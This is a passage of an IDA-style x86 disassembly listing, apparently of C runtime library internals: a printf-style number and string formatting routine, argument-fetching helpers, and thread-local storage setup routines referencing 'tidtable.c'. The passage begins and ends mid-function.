jz short loc_420F06
mov edx, [ebp+var_254]
xor eax, eax
mov ax, [edx]
test eax, eax
jz short loc_420F06
mov ecx, [ebp+var_254]
add ecx, 2
mov [ebp+var_254], ecx
jmp short loc_420ECD
; ---------------------------------------------------------------------------
loc_420F06: ; CODE XREF: sub_4209A0+544j
; sub_4209A0+553j
mov edx, [ebp+var_254]
sub edx, [ebp+var_20]
sar edx, 1
mov [ebp+var_24], edx
jmp short loc_420F70
; ---------------------------------------------------------------------------
loc_420F16: ; CODE XREF: sub_4209A0+50Cj
cmp [ebp+var_20], 0
jnz short loc_420F24
mov eax, off_447490
mov [ebp+var_20], eax
loc_420F24: ; CODE XREF: sub_4209A0+57Aj
mov ecx, [ebp+var_20]
mov [ebp+var_250], ecx
loc_420F2D: ; CODE XREF: sub_4209A0+5C2j
mov edx, [ebp+var_258]
mov eax, [ebp+var_258]
sub eax, 1
mov [ebp+var_258], eax
test edx, edx
jz short loc_420F64
mov ecx, [ebp+var_250]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_420F64
mov eax, [ebp+var_250]
add eax, 1
mov [ebp+var_250], eax
jmp short loc_420F2D
; ---------------------------------------------------------------------------
loc_420F64: ; CODE XREF: sub_4209A0+5A4j
; sub_4209A0+5B1j
mov ecx, [ebp+var_250]
sub ecx, [ebp+var_20]
mov [ebp+var_24], ecx
loc_420F70: ; CODE XREF: sub_4209A0+574j
jmp loc_4213D7
; ---------------------------------------------------------------------------
loc_420F75: ; CODE XREF: sub_4209A0+385j
; DATA XREF: .data:00421670o
lea edx, [ebp+arg_8]
push edx
call sub_4217E0
add esp, 4
mov [ebp+var_25C], eax
mov eax, [ebp+var_4]
and eax, 20h
test eax, eax
jz short loc_420FA3
mov ecx, [ebp+var_25C]
mov dx, word ptr [ebp+var_22C]
mov [ecx], dx
jmp short loc_420FB1
; ---------------------------------------------------------------------------
loc_420FA3: ; CODE XREF: sub_4209A0+5EFj
mov eax, [ebp+var_25C]
mov ecx, [ebp+var_22C]
mov [eax], ecx
loc_420FB1: ; CODE XREF: sub_4209A0+601j
mov [ebp+var_23C], 1
jmp loc_4213D7
; ---------------------------------------------------------------------------
loc_420FC0: ; CODE XREF: sub_4209A0+385j
; DATA XREF: .data:00421654o
mov [ebp+var_8], 1
mov dl, byte ptr [ebp+var_28]
add dl, 20h
mov byte ptr [ebp+var_28], dl
loc_420FD0: ; CODE XREF: sub_4209A0+385j
; DATA XREF: .data:0042166Co
mov eax, [ebp+var_4]
or al, 40h
mov [ebp+var_4], eax
lea ecx, [ebp+var_228]
mov [ebp+var_20], ecx
cmp [ebp+var_234], 0
jge short loc_420FF6
mov [ebp+var_234], 6
jmp short loc_421012
; ---------------------------------------------------------------------------
loc_420FF6: ; CODE XREF: sub_4209A0+648j
cmp [ebp+var_234], 0
jnz short loc_421012
movsx edx, byte ptr [ebp+var_28]
cmp edx, 67h
jnz short loc_421012
mov [ebp+var_234], 1
loc_421012: ; CODE XREF: sub_4209A0+654j
; sub_4209A0+65Dj ...
mov eax, [ebp+arg_8]
add eax, 8
mov [ebp+arg_8], eax
mov ecx, [ebp+arg_8]
sub ecx, 8
mov edx, [ecx]
mov eax, [ecx+4]
mov [ebp+var_264], edx
mov [ebp+var_260], eax
mov ecx, [ebp+var_8]
push ecx
mov edx, [ebp+var_234]
push edx
movsx eax, byte ptr [ebp+var_28]
push eax
mov ecx, [ebp+var_20]
push ecx
lea edx, [ebp+var_264]
push edx
call off_447838
add esp, 14h
mov eax, [ebp+var_4]
and eax, 80h
test eax, eax
jz short loc_421078
cmp [ebp+var_234], 0
jnz short loc_421078
mov ecx, [ebp+var_20]
push ecx
call off_447844
add esp, 4
loc_421078: ; CODE XREF: sub_4209A0+6C0j
; sub_4209A0+6C9j
movsx edx, byte ptr [ebp+var_28]
cmp edx, 67h
jnz short loc_42109A
mov eax, [ebp+var_4]
and eax, 80h
test eax, eax
jnz short loc_42109A
mov ecx, [ebp+var_20]
push ecx
call off_44783C
add esp, 4
loc_42109A: ; CODE XREF: sub_4209A0+6DFj
; sub_4209A0+6EBj
mov edx, [ebp+var_20]
movsx eax, byte ptr [edx]
cmp eax, 2Dh
jnz short loc_4210B7
mov ecx, [ebp+var_4]
or ch, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
loc_4210B7: ; CODE XREF: sub_4209A0+703j
mov eax, [ebp+var_20]
push eax
call sub_414EC0
add esp, 4
mov [ebp+var_24], eax
jmp loc_4213D7
; ---------------------------------------------------------------------------
loc_4210CB: ; CODE XREF: sub_4209A0+385j
mov ecx, [ebp+var_4]
or ecx, 40h
mov [ebp+var_4], ecx
mov [ebp+var_238], 0Ah
jmp loc_421165
; ---------------------------------------------------------------------------
loc_4210E3: ; CODE XREF: sub_4209A0+385j
; DATA XREF: .data:00421680o
mov [ebp+var_238], 0Ah
jmp short loc_421165
; ---------------------------------------------------------------------------
loc_4210EF: ; CODE XREF: sub_4209A0+385j
; DATA XREF: .data:00421678o
mov [ebp+var_234], 8
loc_4210F9: ; CODE XREF: sub_4209A0+385j
; DATA XREF: .data:0042165Co
mov [ebp+var_230], 7
jmp short loc_42110F
; ---------------------------------------------------------------------------
loc_421105: ; CODE XREF: sub_4209A0+385j
; DATA XREF: .data:00421684o
mov [ebp+var_230], 27h
loc_42110F: ; CODE XREF: sub_4209A0+763j
mov [ebp+var_238], 10h
mov edx, [ebp+var_4]
and edx, 80h
test edx, edx
jz short loc_421143
mov [ebp+var_240], 30h
mov eax, [ebp+var_230]
add eax, 51h
mov [ebp+var_23F], al
mov [ebp+var_10], 2
loc_421143: ; CODE XREF: sub_4209A0+784j
jmp short loc_421165
; ---------------------------------------------------------------------------
loc_421145: ; CODE XREF: sub_4209A0+385j
; DATA XREF: .data:00421674o
mov [ebp+var_238], 8
mov ecx, [ebp+var_4]
and ecx, 80h
test ecx, ecx
jz short loc_421165
mov edx, [ebp+var_4]
or dh, 2
mov [ebp+var_4], edx
loc_421165: ; CODE XREF: sub_4209A0+73Ej
; sub_4209A0+74Dj ...
mov eax, [ebp+var_4]
and eax, 8000h
test eax, eax
jz short loc_42118E
lea ecx, [ebp+arg_8]
push ecx
call sub_421800
add esp, 4
mov [ebp+var_278], eax
mov [ebp+var_274], edx
jmp loc_42121F
; ---------------------------------------------------------------------------
loc_42118E: ; CODE XREF: sub_4209A0+7CFj
mov edx, [ebp+var_4]
and edx, 20h
test edx, edx
jz short loc_4211E0
mov eax, [ebp+var_4]
and eax, 40h
test eax, eax
jz short loc_4211C0
lea ecx, [ebp+arg_8]
push ecx
call sub_4217E0
add esp, 4
movsx eax, ax
cdq
mov [ebp+var_278], eax
mov [ebp+var_274], edx
jmp short loc_4211DE
; ---------------------------------------------------------------------------
loc_4211C0: ; CODE XREF: sub_4209A0+800j
lea edx, [ebp+arg_8]
push edx
call sub_4217E0
add esp, 4
and eax, 0FFFFh
cdq
mov [ebp+var_278], eax
mov [ebp+var_274], edx
loc_4211DE: ; CODE XREF: sub_4209A0+81Ej
jmp short loc_42121F
; ---------------------------------------------------------------------------
loc_4211E0: ; CODE XREF: sub_4209A0+7F6j
mov eax, [ebp+var_4]
and eax, 40h
test eax, eax
jz short loc_421205
lea ecx, [ebp+arg_8]
push ecx
call sub_4217E0
add esp, 4
cdq
mov [ebp+var_278], eax
mov [ebp+var_274], edx
jmp short loc_42121F
; ---------------------------------------------------------------------------
loc_421205: ; CODE XREF: sub_4209A0+848j
lea edx, [ebp+arg_8]
push edx
call sub_4217E0
add esp, 4
xor ecx, ecx
mov [ebp+var_278], eax
mov [ebp+var_274], ecx
loc_42121F: ; CODE XREF: sub_4209A0+7E9j
; sub_4209A0:loc_4211DEj ...
mov edx, [ebp+var_4]
and edx, 40h
test edx, edx
jz short loc_421267
cmp [ebp+var_274], 0
jg short loc_421267
jl short loc_42123D
cmp [ebp+var_278], 0
jnb short loc_421267
loc_42123D: ; CODE XREF: sub_4209A0+892j
mov eax, [ebp+var_278]
neg eax
mov ecx, [ebp+var_274]
adc ecx, 0
neg ecx
mov [ebp+var_26C], eax
mov [ebp+var_268], ecx
mov edx, [ebp+var_4]
or dh, 1
mov [ebp+var_4], edx
jmp short loc_42127F
; ---------------------------------------------------------------------------
loc_421267: ; CODE XREF: sub_4209A0+887j
; sub_4209A0+890j ...
mov eax, [ebp+var_278]
mov [ebp+var_26C], eax
mov ecx, [ebp+var_274]
mov [ebp+var_268], ecx
loc_42127F: ; CODE XREF: sub_4209A0+8C5j
mov edx, [ebp+var_4]
and edx, 8000h
test edx, edx
jnz short loc_4212A7
mov eax, [ebp+var_26C]
mov ecx, [ebp+var_268]
and ecx, 0
mov [ebp+var_26C], eax
mov [ebp+var_268], ecx
loc_4212A7: ; CODE XREF: sub_4209A0+8EAj
cmp [ebp+var_234], 0
jge short loc_4212BC
mov [ebp+var_234], 1
jmp short loc_4212C5
; ---------------------------------------------------------------------------
loc_4212BC: ; CODE XREF: sub_4209A0+90Ej
mov edx, [ebp+var_4]
and edx, 0FFFFFFF7h
mov [ebp+var_4], edx
loc_4212C5: ; CODE XREF: sub_4209A0+91Aj
mov eax, [ebp+var_26C]
or eax, [ebp+var_268]
test eax, eax
jnz short loc_4212DC
mov [ebp+var_10], 0
loc_4212DC: ; CODE XREF: sub_4209A0+933j
lea ecx, [ebp+var_29]
mov [ebp+var_20], ecx
loc_4212E2: ; CODE XREF: sub_4209A0+9EBj
mov edx, [ebp+var_234]
mov eax, [ebp+var_234]
sub eax, 1
mov [ebp+var_234], eax
test edx, edx
jg short loc_42130F
mov ecx, [ebp+var_26C]
or ecx, [ebp+var_268]
test ecx, ecx
jz loc_421390
loc_42130F: ; CODE XREF: sub_4209A0+959j
mov eax, [ebp+var_238]
cdq
push edx
push eax
mov edx, [ebp+var_268]
push edx
mov eax, [ebp+var_26C]
push eax
call sub_41A4A0
add eax, 30h
mov [ebp+var_270], eax
mov eax, [ebp+var_238]
cdq
push edx
push eax
mov ecx, [ebp+var_268]
push ecx
mov edx, [ebp+var_26C]
push edx
call sub_41A430
mov [ebp+var_26C], eax
mov [ebp+var_268], edx
cmp [ebp+var_270], 39h
jle short loc_421377
mov eax, [ebp+var_270]
add eax, [ebp+var_230]
mov [ebp+var_270], eax
loc_421377: ; CODE XREF: sub_4209A0+9C3j
mov ecx, [ebp+var_20]
mov dl, byte ptr [ebp+var_270]
mov [ecx], dl
mov eax, [ebp+var_20]
sub eax, 1
mov [ebp+var_20], eax
jmp loc_4212E2
; ---------------------------------------------------------------------------
loc_421390: ; CODE XREF: sub_4209A0+969j
lea ecx, [ebp+var_29]
sub ecx, [ebp+var_20]
mov [ebp+var_24], ecx
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+var_4]
and eax, 200h
test eax, eax
jz short loc_4213D7
mov ecx, [ebp+var_20]
movsx edx, byte ptr [ecx]
cmp edx, 30h
jnz short loc_4213BF
cmp [ebp+var_24], 0
jnz short loc_4213D7
loc_4213BF: ; CODE XREF: sub_4209A0+A17j
mov eax, [ebp+var_20]
sub eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+var_20]
mov byte ptr [ecx], 30h
mov edx, [ebp+var_24]
add edx, 1
mov [ebp+var_24], edx
loc_4213D7: ; CODE XREF: sub_4209A0+371j
; sub_4209A0+385j ...
cmp [ebp+var_23C], 0
jnz loc_4215B2
mov eax, [ebp+var_4]
and eax, 40h
test eax, eax
jz short loc_42143D
mov ecx, [ebp+var_4]
and ecx, 100h
test ecx, ecx
jz short loc_42140B
mov [ebp+var_240], 2Dh
mov [ebp+var_10], 1
jmp short loc_42143D
; ---------------------------------------------------------------------------
loc_42140B: ; CODE XREF: sub_4209A0+A59j
mov edx, [ebp+var_4]
and edx, 1
test edx, edx
jz short loc_421425
mov [ebp+var_240], 2Bh
mov [ebp+var_10], 1
jmp short loc_42143D
; ---------------------------------------------------------------------------
loc_421425: ; CODE XREF: sub_4209A0+A73j
mov eax, [ebp+var_4]
and eax, 2
test eax, eax
jz short loc_42143D
mov [ebp+var_240], 20h
mov [ebp+var_10], 1
loc_42143D: ; CODE XREF: sub_4209A0+A4Cj
; sub_4209A0+A69j ...
mov ecx, [ebp+var_244]
sub ecx, [ebp+var_24]
sub ecx, [ebp+var_10]
mov [ebp+var_27C], ecx
mov edx, [ebp+var_4]
and edx, 0Ch
test edx, edx
jnz short loc_421475
lea eax, [ebp+var_22C]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_27C]
push edx
push 20h
call sub_421750
add esp, 10h
loc_421475: ; CODE XREF: sub_4209A0+AB7j
lea eax, [ebp+var_22C]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_10]
push edx
lea eax, [ebp+var_240]
push eax
call sub_421790
add esp, 10h
mov ecx, [ebp+var_4]
and ecx, 8
test ecx, ecx
jz short loc_4214C3
mov edx, [ebp+var_4]
and edx, 4
test edx, edx
jnz short loc_4214C3
lea eax, [ebp+var_22C]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_27C]
push edx
push 30h
call sub_421750
add esp, 10h
loc_4214C3: ; CODE XREF: sub_4209A0+AFBj
; sub_4209A0+B05j
cmp [ebp+var_1C], 0
jz loc_421571
cmp [ebp+var_24], 0
jle loc_421571
mov eax, [ebp+var_20]
mov [ebp+var_280], eax
mov ecx, [ebp+var_24]
mov [ebp+var_284], ecx
loc_4214E9: ; CODE XREF: sub_4209A0+BCAj
mov edx, [ebp+var_284]
mov eax, [ebp+var_284]
sub eax, 1
mov [ebp+var_284], eax
test edx, edx
jz short loc_42156F
mov ecx, [ebp+var_280]
mov dx, [ecx]
mov [ebp+var_2A6], dx
mov ax, [ebp+var_2A6]
push eax
lea ecx, [ebp+var_288]
push ecx
mov edx, [ebp+var_280]
add edx, 2
mov [ebp+var_280], edx
call sub_42A3D0
add esp, 8
mov [ebp+var_28C], eax
cmp [ebp+var_28C], 0
jg short loc_421549
jmp short loc_42156F
; ---------------------------------------------------------------------------
loc_421549: ; CODE XREF: sub_4209A0+BA5j
lea eax, [ebp+var_22C]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_28C]
push edx
lea eax, [ebp+var_288]
push eax
call sub_421790
add esp, 10h
jmp loc_4214E9
; ---------------------------------------------------------------------------
loc_42156F: ; CODE XREF: sub_4209A0+B60j
; sub_4209A0+BA7j
jmp short loc_42158C
; ---------------------------------------------------------------------------
loc_421571: ; CODE XREF: sub_4209A0+B27j
; sub_4209A0+B31j
lea ecx, [ebp+var_22C]
push ecx
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+var_24]
push eax
mov ecx, [ebp+var_20]
push ecx
call sub_421790
add esp, 10h
loc_42158C: ; CODE XREF: sub_4209A0:loc_42156Fj
mov edx, [ebp+var_4]
and edx, 4
test edx, edx
jz short loc_4215B2
lea eax, [ebp+var_22C]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_27C]
push edx
push 20h
call sub_421750
add esp, 10h
loc_4215B2: ; CODE XREF: sub_4209A0+ADj
; sub_4209A0+155j ...
jmp loc_4209C4
; ---------------------------------------------------------------------------
loc_4215B7: ; CODE XREF: sub_4209A0+3Bj
; sub_4209A0+48j
mov eax, [ebp+var_22C]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4209A0 endp
; ---------------------------------------------------------------------------
off_4215C4 dd offset loc_420A60 ; DATA XREF: sub_4209A0+B9r
dd offset loc_420AFA
dd offset loc_420B3C
dd offset loc_420BAB
dd offset loc_420C03
dd offset loc_420C12
dd offset loc_420C5E
dd offset loc_420CF1
off_4215E4 dd offset loc_420B88 ; DATA XREF: sub_4209A0+1CCr
dd offset loc_420B93
dd offset loc_420B7E
dd offset loc_420B73
dd offset loc_420B9E
dd offset loc_420BA6
byte_4215FC db 0 ; DATA XREF: sub_4209A0+1C6r
db 2 dup(5), 1
dd 5050505h, 2050505h, 5050305h
db 4
off_42160D dd offset loc_420CA0 ; DATA XREF: sub_4209A0+2EEr
dd offset loc_420CD9
dd offset loc_420C95
dd offset loc_420CE3
dd offset loc_420CEC
byte_421621 db 0 ; DATA XREF: sub_4209A0+2E8r
dw 404h
dd 7 dup(4040404h), 4040401h, 4040402h, 4040404h, 3040404h
off_421650 dd offset loc_420D2C ; DATA XREF: sub_4209A0+385r
dd offset loc_420FC0
dd offset loc_420E50
dd offset loc_4210F9
dd offset loc_420DBB
dd offset loc_420D41
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 10h, 42h, 0
dd offset loc_420FD0
dd offset loc_420F75
dd offset loc_421145
dd offset loc_4210EF
dd offset loc_420E66
dd offset loc_4210E3
dd offset loc_421105
dd offset loc_4213D7
byte_42168C db 0, 0Eh, 1, 0Eh, 1, 0Bh dup(0Eh), 2, 4 dup(0Eh), 3, 0Eh
; DATA XREF: sub_4209A0+37Fr
db 4, 8 dup(0Eh), 5, 6, 3 dup(7), 0Eh, 6, 4 dup(0Eh), 8
db 9, 0Ah, 2 dup(0Eh), 0Bh, 0Eh, 0Ch, 2 dup(0Eh), 0Dh
db 0Eh dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4216D0 proc near ; CODE XREF: sub_4209A0+F5p
; sub_4209A0+14Dp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
mov ecx, [eax+4]
sub ecx, 1
mov edx, [ebp+arg_4]
mov [edx+4], ecx
mov eax, [ebp+arg_4]
cmp dword ptr [eax+4], 0
jl short loc_421712
mov ecx, [ebp+arg_4]
mov edx, [ecx]
mov al, byte ptr [ebp+arg_0]
mov [edx], al
movsx ecx, byte ptr [ebp+arg_0]
and ecx, 0FFh
mov [ebp+var_4], ecx
mov edx, [ebp+arg_4]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+arg_4]
mov [ecx], eax
jmp short loc_421725
; ---------------------------------------------------------------------------
loc_421712: ; CODE XREF: sub_4216D0+1Aj
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_420720
add esp, 8
mov [ebp+var_4], eax
loc_421725: ; CODE XREF: sub_4216D0+40j
cmp [ebp+var_4], 0FFFFFFFFh
jnz short loc_421736
mov ecx, [ebp+arg_8]
mov dword ptr [ecx], 0FFFFFFFFh
jmp short loc_421743
; ---------------------------------------------------------------------------
loc_421736: ; CODE XREF: sub_4216D0+59j
mov edx, [ebp+arg_8]
mov eax, [edx]
add eax, 1
mov ecx, [ebp+arg_8]
mov [ecx], eax
loc_421743: ; CODE XREF: sub_4216D0+64j
mov esp, ebp
pop ebp
retn
sub_4216D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421750 proc near ; CODE XREF: sub_4209A0+ACDp
; sub_4209A0+B1Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
loc_421753: ; CODE XREF: sub_421750:loc_421781j
mov eax, [ebp+arg_4]
mov ecx, [ebp+arg_4]
sub ecx, 1
mov [ebp+arg_4], ecx
test eax, eax
jle short loc_421783
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_4216D0
add esp, 0Ch
mov edx, [ebp+arg_C]
cmp dword ptr [edx], 0FFFFFFFFh
jnz short loc_421781
jmp short loc_421783
; ---------------------------------------------------------------------------
loc_421781: ; CODE XREF: sub_421750+2Dj
jmp short loc_421753
; ---------------------------------------------------------------------------
loc_421783: ; CODE XREF: sub_421750+11j
; sub_421750+2Fj
pop ebp
retn
sub_421750 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421790 proc near ; CODE XREF: sub_4209A0+AEBp
; sub_4209A0+BC2p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
loc_421794: ; CODE XREF: sub_421790:loc_4217D4j
mov eax, [ebp+arg_4]
mov ecx, [ebp+arg_4]
sub ecx, 1
mov [ebp+arg_4], ecx
test eax, eax
jle short loc_4217D6
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
call sub_4216D0
add esp, 0Ch
mov edx, [ebp+arg_C]
cmp dword ptr [edx], 0FFFFFFFFh
jnz short loc_4217D4
jmp short loc_4217D6
; ---------------------------------------------------------------------------
loc_4217D4: ; CODE XREF: sub_421790+40j
jmp short loc_421794
; ---------------------------------------------------------------------------
loc_4217D6: ; CODE XREF: sub_421790+12j
; sub_421790+42j
mov esp, ebp
pop ebp
retn
sub_421790 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4217E0 proc near ; CODE XREF: sub_4209A0+218p
; sub_4209A0+27Fp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov ecx, [eax]
add ecx, 4
mov edx, [ebp+arg_0]
mov [edx], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov eax, [ecx-4]
pop ebp
retn
sub_4217E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421800 proc near ; CODE XREF: sub_4209A0+7D5p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov ecx, [eax]
add ecx, 8
mov edx, [ebp+arg_0]
mov [edx], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax]
sub ecx, 8
mov eax, [ecx]
mov edx, [ecx+4]
pop ebp
retn
sub_421800 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421820 proc near ; CODE XREF: sub_4209A0+3B2p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov ecx, [eax]
add ecx, 4
mov edx, [ebp+arg_0]
mov [edx], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax]
mov ax, [ecx-4]
pop ebp
retn
sub_421820 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421840 proc near ; CODE XREF: sub_41AB00:loc_41AB94p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
call sub_41BBA0
call dword_4E04A0 ; TlsAlloc
mov dword_447498, eax
cmp dword_447498, 0FFFFFFFFh
jnz short loc_421861
xor eax, eax
jmp short loc_4218BE
; ---------------------------------------------------------------------------
loc_421861: ; CODE XREF: sub_421840+1Bj
push 61h
push offset aTidtable_c ; "tidtable.c"
push 2
push 74h
push 1
call sub_415520
add esp, 14h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_421894
mov eax, [ebp+var_4]
push eax
mov ecx, dword_447498
push ecx
call dword_4E049C ; TlsSetValue
test eax, eax
jnz short loc_421898
loc_421894: ; CODE XREF: sub_421840+3Dj
xor eax, eax
jmp short loc_4218BE
; ---------------------------------------------------------------------------
loc_421898: ; CODE XREF: sub_421840+52j
mov edx, [ebp+var_4]
push edx
call sub_421900
add esp, 4
call dword_4E0498 ; GetCurrentThreadId
mov ecx, [ebp+var_4]
mov [ecx], eax
mov edx, [ebp+var_4]
mov dword ptr [edx+4], 0FFFFFFFFh
mov eax, 1
loc_4218BE: ; CODE XREF: sub_421840+1Fj
; sub_421840+56j
mov esp, ebp
pop ebp
retn
sub_421840 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
call sub_41BBE0
cmp dword_447498, 0FFFFFFFFh
jz short loc_4218F7
mov eax, dword_447498
push eax
call dword_4E04A4 ; TlsFree
mov dword_447498, 0FFFFFFFFh
loc_4218F7: ; CODE XREF: .data:004218DFj
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421900 proc near ; CODE XREF: sub_421840+5Cp
; sub_421920+5Ep
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
mov dword ptr [eax+50h], offset dword_4479A8
mov ecx, [ebp+arg_0]
mov dword ptr [ecx+14h], 1
pop ebp
retn
sub_421900 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421920 proc near ; CODE XREF: sub_417DB0+3p
; sub_417DC0+4p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 8
call dword_4E0350 ; RtlGetLastWin32Error
mov [ebp+var_8], eax
mov eax, dword_447498
push eax
call dword_4E04AC ; TlsGetValue
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_4219A7
push 0E7h
push offset aTidtable_c ; "tidtable.c"
push 2
push 74h
push 1
call sub_415520
add esp, 14h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_42199D
mov ecx, [ebp+var_4]
push ecx
mov edx, dword_447498
push edx
call dword_4E049C ; TlsSetValue
test eax, eax
jz short loc_42199D
mov eax, [ebp+var_4]
push eax
call sub_421900
add esp, 4
call dword_4E0498 ; GetCurrentThreadId
mov ecx, [ebp+var_4]
mov [ecx], eax
mov edx, [ebp+var_4]
mov dword ptr [edx+4], 0FFFFFFFFh
jmp short loc_4219A7
; ---------------------------------------------------------------------------
loc_42199D: ; CODE XREF: sub_421920+43j
; sub_421920+58j
push 10h
call sub_41AC70
add esp, 4
loc_4219A7: ; CODE XREF: sub_421920+22j
; sub_421920+7Bj
mov eax, [ebp+var_8]
push eax
call dword_4E04A8 ; RtlSetLastWin32Error
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_421920 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
cmp dword_447498, 0FFFFFFFFh
jz loc_421AC5
cmp dword ptr [ebp+8], 0
jnz short loc_4219E5
mov eax, dword_447498
push eax
call dword_4E04AC ; TlsGetValue
mov [ebp+8], eax
loc_4219E5: ; CODE XREF: .data:004219D4j
cmp dword ptr [ebp+8], 0
jz loc_421AB6
mov ecx, [ebp+8]
cmp dword ptr [ecx+24h], 0
jz short loc_421A09
push 2
mov edx, [ebp+8]
mov eax, [edx+24h]
push eax
call sub_415C60
add esp, 8
loc_421A09: ; CODE XREF: .data:004219F6j
mov ecx, [ebp+8]
cmp dword ptr [ecx+28h], 0
jz short loc_421A23
push 2
mov edx, [ebp+8]
mov eax, [edx+28h]
push eax
call sub_415C60
add esp, 8
loc_421A23: ; CODE XREF: .data:00421A10j
mov ecx, [ebp+8]
cmp dword ptr [ecx+30h], 0
jz short loc_421A3D
push 2
mov edx, [ebp+8]
mov eax, [edx+30h]
push eax
call sub_415C60
add esp, 8
loc_421A3D: ; CODE XREF: .data:00421A2Aj
mov ecx, [ebp+8]
cmp dword ptr [ecx+38h], 0
jz short loc_421A57
push 2
mov edx, [ebp+8]
mov eax, [edx+38h]
push eax
call sub_415C60
add esp, 8
loc_421A57: ; CODE XREF: .data:00421A44j
mov ecx, [ebp+8]
cmp dword ptr [ecx+40h], 0
jz short loc_421A71
push 2
mov edx, [ebp+8]
mov eax, [edx+40h]
push eax
call sub_415C60
add esp, 8
loc_421A71: ; CODE XREF: .data:00421A5Ej
mov ecx, [ebp+8]
cmp dword ptr [ecx+44h], 0
jz short loc_421A8B
push 2
mov edx, [ebp+8]
mov eax, [edx+44h]
push eax
call sub_415C60
add esp, 8
loc_421A8B: ; CODE XREF: .data:00421A78j
mov ecx, [ebp+8]
cmp dword ptr [ecx+50h], offset dword_4479A8
jz short loc_421AA8
push 2
mov edx, [ebp+8]
mov eax, [edx+50h]
push eax
call sub_415C60
add esp, 8
loc_421AA8: ; CODE XREF: .data:00421A95j
push 2
mov ecx, [ebp+8]
push ecx
call sub_415C60
add esp, 8
loc_421AB6: ; CODE XREF: .data:004219E9j
push 0
mov edx, dword_447498
push edx
call dword_4E049C ; TlsSetValue
loc_421AC5: ; CODE XREF: .data:004219CAj
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
call dword_4E0498 ; GetCurrentThreadId
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
call dword_4E04B0 ; GetCurrentThread
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421AF0 proc near ; CODE XREF: sub_4222D0+Ep
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1A = byte ptr -1Ah
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28h
push 19h
call sub_41BC80
add esp, 4
mov eax, [ebp+arg_0]
push eax
call sub_421E40
add esp, 4
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
cmp ecx, dword_4DE42C
jnz short loc_421B2B
push 19h
call sub_41BD20
add esp, 4
xor eax, eax
jmp loc_421E30
; ---------------------------------------------------------------------------
loc_421B2B: ; CODE XREF: sub_421AF0+28j
